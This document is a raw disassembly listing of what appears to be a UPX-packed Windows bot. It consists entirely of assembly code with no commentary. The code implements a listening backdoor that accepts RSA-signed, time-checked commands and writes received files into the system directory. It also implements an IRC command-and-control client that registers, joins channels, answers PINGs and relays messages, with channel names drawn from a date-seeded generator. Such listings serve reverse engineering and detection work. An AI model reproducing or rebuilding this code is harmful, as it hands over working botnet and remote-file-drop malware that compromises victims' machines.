push edi push esi call sub_3150243D lea eax, [ebp+var_84] push eax push 0 call sub_315025F6 add esp, 1Ch jmp short loc_315027FB ; --------------------------------------------------------------------------- loc_3150279D: ; CODE XREF: sub_315026C2+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_31501064 ; lstrcmpiA test eax, eax jnz short loc_315027E6 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_315023E4 add esp, 14h test eax, eax jnz short loc_315027FB push ebx push edi push esi mov ds:dword_315061A0, 1 call sub_315023AF add esp, 0Ch jmp short loc_315027FB ; --------------------------------------------------------------------------- loc_315027E6: ; CODE XREF: sub_315026C2+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_315025F6 pop ecx pop ecx loc_315027FB: ; CODE XREF: sub_315026C2+1Fj ; sub_315026C2+D9j ... pop edi pop esi pop ebx leave retn sub_315026C2 endp ; =============== S U B R O U T I N E ======================================= sub_31502800 proc near ; CODE XREF: sub_31501BA8+7Ap ; sub_315028AE+2Ap ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_3150105C ; VirtualAlloc retn sub_31502800 endp ; =============== S U B R O U T I N E ======================================= sub_31502814 proc near ; CODE XREF: sub_315028AE+EBp ; sub_31502B4C+75p ... arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31501058 ; VirtualFree retn sub_31502814 endp ; =============== S U B R O U T I N E ======================================= sub_31502826 proc near ; CODE XREF: sub_31502B4C+32p push esi mov esi, ecx push offset aCont ; "cont" and dword ptr [esi], 0 lea eax, [esi+4] push eax call dword_31501088 ; lstrcpyA mov eax, esi pop esi retn sub_31502826 endp ; =============== S U B R O U T I N E ======================================= sub_3150283F proc near ; CODE XREF: sub_31502B4C+3Ap push ebx push ebp mov ebx, dword_31501018 push esi push edi xor ebp, ebp mov edi, ecx push ebp push 1 push ebp lea esi, [edi+0Eh] push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_3150286E push 8 push 1 push ebp push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_3150286E push 1 pop eax jmp short loc_3150288E ; --------------------------------------------------------------------------- loc_3150286E: ; CODE XREF: sub_3150283F+1Bj ; sub_3150283F+28j add edi, 12h push edi push ebp push ebp push 114h push offset dword_31505CF8 push dword ptr [esi] call dword_3150101C ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_3150288E: ; CODE XREF: sub_3150283F+2Dj pop edi pop esi pop ebp pop ebx retn sub_3150283F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_31502893 proc near ; CODE XREF: sub_31502B4C+7Ep push esi mov esi, ecx push dword ptr [esi+12h] call dword_31501010 ; CryptDestroyKey push 0 push dword ptr [esi+0Eh] call dword_31501014 ; CryptReleaseContext xor eax, eax pop esi retn sub_31502893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315028AE proc near ; CODE XREF: sub_31502B4C+46p var_28 = byte ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi lea eax, [ebp+var_28] push edi mov [ebp+var_8], ecx push eax call dword_31501050 ; GetSystemTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_28] push eax call dword_31501054 ; SystemTimeToFileTime mov esi, 4000h push esi call sub_31502800 mov ebx, [ebp+arg_0] pop ecx mov edi, eax push 0 push esi push edi push dword ptr [ebx] call dword_315011A0 ; recv lea esi, [edi+8] push 8 lea eax, [ebp+var_10] push esi push eax call sub_31503A44 ; memcpy mov ecx, [ebp+var_10] mov eax, [ebp+var_C] add esp, 0Ch sub ecx, [ebp+var_18] sbb eax, [ebp+var_14] cmp eax, 8 jg short loc_3150298F jl short loc_3150291C cmp ecx, 61C46800h ja short loc_3150298F loc_3150291C: ; CODE XREF: sub_315028AE+64j cmp eax, 0FFFFFFF7h jl short loc_3150298F jg short loc_3150292B cmp ecx, 9E3B9800h jb short loc_3150298F loc_3150292B: ; CODE XREF: sub_315028AE+73j lea eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push 0 push 0 push 8003h push dword ptr [eax+0Eh] call dword_31501000 ; CryptCreateHash test eax, eax jz short loc_31502980 push 0 push 8 push esi push [ebp+var_4] call dword_31501004 ; CryptHashData test eax, eax jz short loc_31502980 mov eax, [edi+10h] cmp eax, 2800h ja short loc_31502980 mov ecx, [ebp+var_8] xor esi, esi push esi push esi push dword ptr [ecx+12h] push eax lea eax, [edi+14h] push eax push [ebp+var_4] call dword_31501008 ; CryptVerifySignatureA test eax, eax jnz short loc_315029A8 loc_31502980: ; CODE XREF: sub_315028AE+98j ; sub_315028AE+AAj ... call dword_31501098 ; RtlGetLastWin32Error push [ebp+var_4] call dword_3150100C ; CryptDestroyHash loc_3150298F: ; CODE XREF: sub_315028AE+62j ; sub_315028AE+6Cj ... call dword_31501098 ; RtlGetLastWin32Error push 2 pop esi loc_31502998: ; CODE XREF: sub_315028AE+117j push edi call sub_31502814 pop ecx mov eax, esi pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_315029A8: ; CODE XREF: sub_315028AE+D0j push [ebp+var_4] call dword_3150100C ; CryptDestroyHash call dword_31501124 ; rand push esi push 4 push edi mov [edi], eax push dword ptr [ebx] call dword_3150119C ; send jmp short loc_31502998 sub_315028AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315029C7 proc near ; CODE XREF: sub_31502B4C+6Ap var_220 = byte ptr -220h var_118 = byte ptr -118h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 220h cmp [ebp+arg_8], 8 push ebx push esi push edi jge short loc_315029E6 push 0 push [ebp+arg_8] push [ebp+arg_4] jmp loc_31502B3E ; --------------------------------------------------------------------------- loc_315029E6: ; CODE XREF: sub_315029C7+10j mov esi, [ebp+arg_4] mov ebx, 104h mov eax, [esi] lea edi, [esi+8] test eax, eax mov [ebp+arg_4], eax jnz loc_31502AF7 lea eax, [ebp+var_220] push ebx push eax call dword_31501068 ; GetSystemDirectoryA lea eax, [ebp+var_220] push eax call dword_31501048 ; SetCurrentDirectoryA mov eax, [edi] push ebx mov [ebp+arg_8], eax mov eax, [edi+4] mov [ebp+var_4], eax lea eax, [edi+8] push eax lea eax, [ebp+var_118] push eax call dword_315010A8 ; lstrcpynA xor eax, eax push eax push eax push 2 push eax push eax lea eax, [ebp+var_118] push 40000000h push eax call dword_315010F0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_31502AE5 mov ebx, dword_3150119C push 0 push 8 push esi push [ebp+arg_0] mov dword ptr [esi+4], 1 call ebx ; send mov eax, [ebp+arg_8] xor edx, edx div [ebp+var_4] xor edx, edx mov [ebp+arg_4], eax mov eax, [ebp+arg_8] div [ebp+var_4] test edx, edx jz short loc_31502A8D inc [ebp+arg_4] loc_31502A8D: ; CODE XREF: sub_315029C7+C1j and [ebp+var_8], 0 cmp [ebp+arg_4], 0 jle short loc_31502ADA loc_31502A97: ; CODE XREF: sub_315029C7+111j push 0 push [ebp+var_4] push edi push [ebp+arg_0] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [ebp+arg_8], eax jz short loc_31502ADA lea ecx, [ebp+var_10] push 0 push ecx push eax push edi push [ebp+var_C] call dword_3150104C ; WriteFile mov eax, [ebp+arg_8] push 0 push 8 push esi push [ebp+arg_0] mov [esi+4], eax call ebx ; send inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jl short loc_31502A97 loc_31502ADA: ; CODE XREF: sub_315029C7+CEj ; sub_315029C7+E5j push [ebp+var_C] call dword_315010BC ; CloseHandle jmp short loc_31502B47 ; --------------------------------------------------------------------------- loc_31502AE5: ; CODE XREF: sub_315029C7+8Fj and dword ptr [esi+4], 0 push 0 push 8 push esi push [ebp+arg_0] call dword_3150119C ; send loc_31502AF7: ; CODE XREF: sub_315029C7+31j cmp [ebp+arg_4], 1 jnz short loc_31502B26 lea eax, [ebp+var_118] push ebx push eax call dword_31501068 ; GetSystemDirectoryA lea eax, [ebp+var_118] push eax call dword_31501048 ; SetCurrentDirectoryA push 0 push 4 push esi push [ebp+arg_0] call dword_3150119C ; send loc_31502B26: ; CODE XREF: sub_315029C7+134j cmp [ebp+arg_4], 3 jnz short loc_31502B47 push dword ptr [edi] add edi, 4 push edi call sub_31501962 pop ecx pop ecx push 0 push 4 push esi loc_31502B3E: ; CODE XREF: sub_315029C7+1Aj push [ebp+arg_0] call dword_3150119C ; send loc_31502B47: ; CODE XREF: sub_315029C7+11Cj ; sub_315029C7+163j pop edi pop esi pop ebx leave retn sub_315029C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502B4C proc near ; DATA XREF: sub_31502BE8+AAo var_30 = dword ptr -30h var_1C = dword ptr -1Ch var_18 = byte ptr -18h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push esi push edi call sub_315018BA mov esi, [ebp+arg_0] push 6 pop ecx lea edi, [ebp+var_30] rep movsd push [ebp+var_1C] call dword_315010D8 ; SetEvent mov esi, 10000h push esi call sub_31502800 pop ecx mov edi, eax lea ecx, [ebp+var_18] call sub_31502826 lea ecx, [ebp+var_18] call sub_3150283F lea eax, [ebp+var_30] lea ecx, [ebp+var_18] push eax call sub_315028AE test eax, eax jnz short loc_31502BC0 loc_31502B9B: ; CODE XREF: sub_31502B4C+72j push 0 push esi push edi push [ebp+var_30] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz short loc_31502BC0 test eax, eax jz short loc_31502BC0 push eax push edi push [ebp+var_30] call sub_315029C7 add esp, 0Ch jmp short loc_31502B9B ; --------------------------------------------------------------------------- loc_31502BC0: ; CODE XREF: sub_31502B4C+4Dj ; sub_31502B4C+5Fj ... push edi call sub_31502814 pop ecx lea ecx, [ebp+var_18] call sub_31502893 push [ebp+var_30] call dword_315011A8 ; closesocket push 0 call dword_315010E0 ; ExitThread pop edi xor eax, eax pop esi leave retn 4 sub_31502B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_31502BE8 proc near ; DATA XREF: sub_31501D96+156o var_44 = dword ptr -44h var_40 = byte ptr -40h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 44h push ebx push esi xor esi, esi push edi push esi push 1 push 2 call dword_3150118C ; socket mov [ebp+var_4], eax push 10h lea eax, [ebp+var_1C] push esi push eax call sub_31503A38 ; memset add esp, 0Ch mov [ebp+var_1C], 2 mov [ebp+var_18], esi loc_31502C19: ; CODE XREF: sub_31502BE8+59j lea eax, [esi+0BFBh] push eax call dword_31501194 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1C] push 10h push eax push [ebp+var_4] call dword_31501170 ; bind test eax, eax jz short loc_31502C43 inc esi cmp esi, 0Ah jl short loc_31502C19 loc_31502C43: ; CODE XREF: sub_31502BE8+53j push 32h push [ebp+var_4] call dword_31501174 ; listen mov ebx, dword_315010BC loc_31502C54: ; CODE XREF: sub_31502BE8+CDj lea eax, [ebp+var_8] mov [ebp+var_8], 10h push eax lea eax, [ebp+var_2C] push eax push [ebp+var_4] call dword_31501178 ; accept lea esi, [ebp+var_2C] lea edi, [ebp+var_40] mov [ebp+var_44], eax movsd movsd movsd movsd xor esi, esi push esi push esi push 1 push esi call dword_3150108C ; CreateEventA mov [ebp+var_30], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_44] push esi push eax push offset sub_31502B4C push esi push esi call dword_315010D0 ; CreateThread push eax call ebx ; CloseHandle push 3E8h push [ebp+var_30] call dword_31501090 ; WaitForSingleObject push [ebp+var_30] call ebx ; CloseHandle jmp short loc_31502C54 sub_31502BE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502CB7 proc near ; CODE XREF: sub_31502D3C+25p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31502CEA add ebx, 1Ah loc_31502CEA: ; CODE XREF: sub_31502CB7+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31501110 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31502D14 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31502D37 ; --------------------------------------------------------------------------- loc_31502D14: ; CODE XREF: sub_31502CB7+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31502D34 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31502D37 ; --------------------------------------------------------------------------- loc_31502D34: ; CODE XREF: sub_31502CB7+68j mov al, [ebp+arg_0] loc_31502D37: ; CODE XREF: sub_31502CB7+5Bj ; sub_31502CB7+7Bj pop edi pop esi pop ebx leave retn sub_31502CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502D3C proc near ; CODE XREF: sub_31503722+F7p ; sub_31503722+137p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_31502D97 mov edi, [ebp+arg_0] push ebx loc_31502D51: ; CODE XREF: sub_31502D3C+56j mov bl, al inc [ebp+arg_4] mov eax, esi mov byte ptr [ebp+arg_0], bl neg eax push eax push [ebp+arg_0] call sub_31502CB7 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_31502D7B cmp bl, 7Ah jg short loc_31502D7B movsx esi, bl sub esi, 61h loc_31502D7B: ; CODE XREF: sub_31502D3C+32j ; sub_31502D3C+37j cmp bl, 41h jl short loc_31502D8B cmp bl, 5Ah jg short loc_31502D8B movsx esi, bl sub esi, 41h loc_31502D8B: ; CODE XREF: sub_31502D3C+42j ; sub_31502D3C+47j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_31502D51 pop ebx jmp short loc_31502D9A ; --------------------------------------------------------------------------- loc_31502D97: ; CODE XREF: sub_31502D3C+Fj mov edi, [ebp+arg_0] loc_31502D9A: ; CODE XREF: sub_31502D3C+59j and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31502D3C endp ; =============== S U B R O U T I N E ======================================= sub_31502DA1 proc near ; CODE XREF: UPX0:3150346Ep push esi mov esi, ecx push 20001h call sub_31502800 mov [esi+2Ch], eax pop ecx mov eax, esi pop esi retn sub_31502DA1 endp ; =============== S U B R O U T I N E ======================================= sub_31502DB6 proc near ; CODE XREF: UPX0:315034CEp ; UPX0:31503521p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push 27h push [esp+8+arg_0] lea eax, [esi+4] push eax call dword_315010A8 ; lstrcpynA mov eax, [esp+4+arg_4] mov [esi+58h], eax pop esi retn 8 sub_31502DB6 endp ; --------------------------------------------------------------------------- loc_31502DD4: ; CODE XREF: UPX0:31503AD6j push esi mov esi, ecx lea eax, [esi+4] push eax call sub_31502814 push dword ptr [esi+2Ch] call sub_31502814 pop ecx pop ecx pop esi retn ; =============== S U B R O U T I N E ======================================= sub_31502DEC proc near ; CODE XREF: UPX0:315034ECp ; UPX0:3150353Fp var_138 = byte ptr -138h var_12C = byte ptr -12Ch var_128 = byte ptr -128h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 138h push ebx push ebp push esi xor ebx, ebx push edi push ebx push 1 mov esi, ecx push 2 call dword_3150118C ; socket mov [esi+5Ch], eax lea eax, [esi+4] push eax call sub_315019B8 mov [esi+64h], eax mov ax, [esi+58h] pop ecx lea edi, [esi+60h] push eax mov word ptr [edi], 2 call dword_31501194 ; ntohs push 10h push edi push dword ptr [esi+5Ch] mov [esi+62h], ax call dword_31501198 ; connect test eax, eax jnz loc_31502FF1 push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31502FF1 mov ecx, [esi+2Ch] and [ecx+eax], bl push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E lea eax, [esp+148h+var_138] push 9 push eax call sub_31501932 mov ebp, dword_3150113C lea eax, [esp+150h+var_138] push eax lea eax, [esp+154h+var_12C] push offset aPassS ; "PASS %s\r\n" push eax call ebp ; wsprintfA mov edi, dword_315010A4 add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push ebx mov ebx, dword_315010A0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push [esp+148h+arg_0] lea eax, [esp+14Ch+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 0Ch push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31502FF1 mov ecx, [esi+2Ch] push 64h and byte ptr [ecx+eax], 0 call edi ; Sleep loc_31502F15: ; CODE XREF: sub_31502DEC+1ADj push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E push offset aAlready ; "already" push dword ptr [esi+2Ch] call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31502F9E push [esp+148h+arg_4] push [esp+14Ch+arg_0] call sub_31501932 push [esp+150h+arg_0] lea eax, [esp+154h+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_31502FF1 mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 jmp loc_31502F15 ; --------------------------------------------------------------------------- loc_31502F9E: ; CODE XREF: sub_31502DEC+145j push [esp+148h+arg_8] lea eax, [esp+14Ch+var_12C] push [esp+14Ch+arg_0] push offset aUserS8S ; "USER %s 8 * :%s\r\n" push eax call ebp ; wsprintfA add esp, 10h push 64h call edi ; Sleep xor edi, edi lea eax, [esp+148h+var_12C] push edi push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push edi push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_31502FFF loc_31502FF1: ; CODE XREF: sub_31502DEC+4Ej ; sub_31502DEC+6Bj ... push dword ptr [esi+5Ch] call dword_315011A8 ; closesocket push 1 pop eax jmp short loc_31503021 ; --------------------------------------------------------------------------- loc_31502FFF: ; CODE XREF: sub_31502DEC+203j mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E mov [esi+284h], edi mov [esi+7Ch], edi mov [esi+70h], edi mov [esi+74h], edi xor eax, eax loc_31503021: ; CODE XREF: sub_31502DEC+211j pop edi pop esi pop ebp pop ebx add esp, 138h retn 0Ch sub_31502DEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3150302E proc near ; CODE XREF: sub_31502DEC+7Cp ; sub_31502DEC+12Ep ... var_190 = byte ptr -190h var_64 = byte ptr -64h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h push ebx push esi push edi push offset aPing ; "PING" push [ebp+arg_0] mov ebx, ecx call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_315030A8 mov esi, dword_315010A0 lea edi, [eax+4] push edi call esi ; lstrlenA dec eax cmp eax, 63h jle short loc_31503067 push 1 pop eax jmp short loc_315030AA ; --------------------------------------------------------------------------- loc_31503067: ; CODE XREF: sub_3150302E+32j push eax lea eax, [ebp+var_64] push edi push eax call dword_315010A8 ; lstrcpynA lea eax, [ebp+var_64] push eax lea eax, [ebp+var_190] push offset aPongS ; "PONG%s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_190] push 0 push eax call esi ; lstrlenA push eax lea eax, [ebp+var_190] push eax push dword ptr [ebx+5Ch] call dword_3150119C ; send loc_315030A8: ; CODE XREF: sub_3150302E+20j xor eax, eax loc_315030AA: ; CODE XREF: sub_3150302E+37j pop edi pop esi pop ebx leave retn 4 sub_3150302E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315030B1 proc near ; CODE XREF: UPX0:3150358Dp var_12C = byte ptr -12Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 12Ch push esi push edi push [ebp+arg_0] lea eax, [ebp+var_12C] mov esi, ecx push offset aJoinS ; "JOIN %s\r\n" push eax call dword_3150113C ; wsprintfA mov edi, dword_315010A4 add esp, 0Ch push 64h call edi ; Sleep lea eax, [ebp+var_12C] push 0 push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_12C] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 64h call edi ; Sleep push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv mov ecx, [esi+2Ch] mov [esi], eax and byte ptr [ecx+eax], 0 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_3150317A test eax, eax jz short loc_3150317A push 64h call edi ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E mov edi, dword_31501120 push offset a451 ; "451" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_31503153 push 3 jmp short loc_3150317C ; --------------------------------------------------------------------------- loc_31503153: ; CODE XREF: sub_315030B1+9Cj push offset aPing ; "PING" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_31503167 push 4 jmp short loc_3150317C ; --------------------------------------------------------------------------- loc_31503167: ; CODE XREF: sub_315030B1+B0j push 23h add esi, 30h push [ebp+arg_0] push esi call dword_315010A8 ; lstrcpynA xor eax, eax jmp short loc_3150317D ; --------------------------------------------------------------------------- loc_3150317A: ; CODE XREF: sub_315030B1+74j ; sub_315030B1+78j push 2 loc_3150317C: ; CODE XREF: sub_315030B1+A0j ; sub_315030B1+B4j pop eax loc_3150317D: ; CODE XREF: sub_315030B1+C7j pop edi pop esi leave retn 4 sub_315030B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503183 proc near ; CODE XREF: sub_315031EC+83p ; UPX0:315035E9p var_14C = byte ptr -14Ch var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 14Ch push esi mov esi, ecx call dword_31501124 ; rand sub eax, 3 and eax, 7 push eax lea eax, [ebp+var_20] push eax call sub_31501932 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14C] push offset aQuitS ; "QUIT %s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 14h lea eax, [ebp+var_14C] push 0 push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_14C] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push dword ptr [esi+5Ch] call dword_315011A8 ; closesocket xor eax, eax pop esi leave retn sub_31503183 endp ; =============== S U B R O U T I N E ======================================= sub_315031EC proc near ; CODE XREF: UPX0:315035D1p mov eax, offset loc_31503AC4 call sub_31503A98 sub esp, 110h push ebx push esi push edi mov edi, dword_315010C8 mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi call edi ; GetTickCount mov [ebp-18h], eax mov eax, [esi+5Ch] mov dword ptr [ebp-11Ch], 1 mov [ebp-118h], eax xor ebx, ebx loc_31503227: ; CODE XREF: sub_315031EC+EFj call sub_31501A32 test eax, eax jz short loc_31503274 push ebx push ebx lea eax, [ebp-11Ch] push ebx push eax push 1 call dword_31501164 ; select cmp eax, 0FFFFFFFFh jz short loc_31503274 call sub_31501D82 test eax, eax jz short loc_31503258 push 1 call dword_315010E0 ; ExitThread loc_31503258: ; CODE XREF: sub_315031EC+62j mov [ebp-4], ebx call edi ; GetTickCount mov ecx, [ebp+8] sub eax, [ebp-18h] imul ecx, 0EA60h cmp eax, ecx jbe short loc_31503287 mov ecx, esi call sub_31503183 loc_31503274: ; CODE XREF: sub_315031EC+42j ; sub_315031EC+59j ... xor eax, eax loc_31503276: ; CODE XREF: sub_315031EC+109j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31503287: ; CODE XREF: sub_315031EC+7Fj push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_315032F2 mov ecx, [esi+2Ch] push 64h mov [ecx+eax], bl call dword_315010A4 ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E push dword ptr [esi+2Ch] mov ecx, esi call sub_31503722 cmp eax, ebx jnz short loc_31503274 or dword ptr [ebp-4], 0FFFFFFFFh call sub_31501A32 test eax, eax jz short loc_31503274 push 64h call dword_315010A4 ; Sleep jmp loc_31503227 ; --------------------------------------------------------------------------- loc_315032E0: ; DATA XREF: UPX0:31503B3Co mov eax, [ebp-14h] push dword ptr [eax+5Ch] call dword_315011A8 ; closesocket mov eax, offset loc_315032F2 retn ; --------------------------------------------------------------------------- loc_315032F2: ; CODE XREF: sub_315031EC+B2j ; DATA XREF: sub_315031EC+100o push 1 pop eax jmp loc_31503276 sub_315031EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315032FA proc near ; CODE XREF: sub_31503722+9Cp ; sub_31503722+2B7p var_12C = byte ptr -12Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 12Ch push ebx push esi mov esi, dword_315010A0 push edi push [ebp+arg_0] mov edi, ecx call esi ; lstrlenA push [ebp+arg_4] mov ebx, eax call esi ; lstrlenA add ebx, eax cmp ebx, 10Eh jle short loc_31503329 push 1 pop eax jmp short loc_3150336A ; --------------------------------------------------------------------------- loc_31503329: ; CODE XREF: sub_315032FA+28j push [ebp+arg_4] lea eax, [ebp+var_12C] push [ebp+arg_0] push offset aPrivmsgSS ; "PRIVMSG %s %s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 10h push 64h call dword_315010A4 ; Sleep lea eax, [ebp+var_12C] push 0 push eax call esi ; lstrlenA push eax lea eax, [ebp+var_12C] push eax push dword ptr [edi+5Ch] call dword_3150119C ; send xor eax, eax loc_3150336A: ; CODE XREF: sub_315032FA+2Dj pop edi pop esi pop ebx leave retn 8 sub_315032FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503371 proc near ; CODE XREF: UPX0:31503484p var_24 = qword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch lea eax, [ebp+var_1C] push eax call dword_31501050 ; GetSystemTime movzx eax, [ebp+var_1A] mov [ebp+var_4], eax push ecx fild [ebp+var_4] push ecx fstp [esp+24h+var_24] call sub_31503AAA ; atan movzx eax, [ebp+var_16] fstp [ebp+var_C] mov [ebp+var_4], eax fild [ebp+var_4] fstp [esp+24h+var_24] call sub_31503AA4 ; sin movzx eax, [ebp+var_1C] fmul [ebp+var_C] lea eax, [eax+eax*2] fstp [ebp+var_C] mov [ebp+var_4], eax fild [ebp+var_4] fstp [esp+24h+var_24] call sub_31503A9E ; cos fadd [ebp+var_C] fstp [ebp+var_C] push dword ptr [ebp+var_C] call dword_31501128 ; srand mov eax, [ebp+arg_0] push 7 mov byte ptr [eax], 23h inc eax push eax call sub_31501932 push 8 push [ebp+arg_4] call sub_31501932 add esp, 1Ch call dword_31501124 ; rand push 1Ah cdq pop ecx idiv ecx mov eax, [ebp+arg_8] mov [eax], edx call sub_315018BA leave retn sub_31503371 endp ; --------------------------------------------------------------------------- loc_31503408: ; DATA XREF: sub_31501D96+140o mov eax, offset loc_31503ADB call sub_31503A98 sub esp, 2E8h push ebx push esi xor 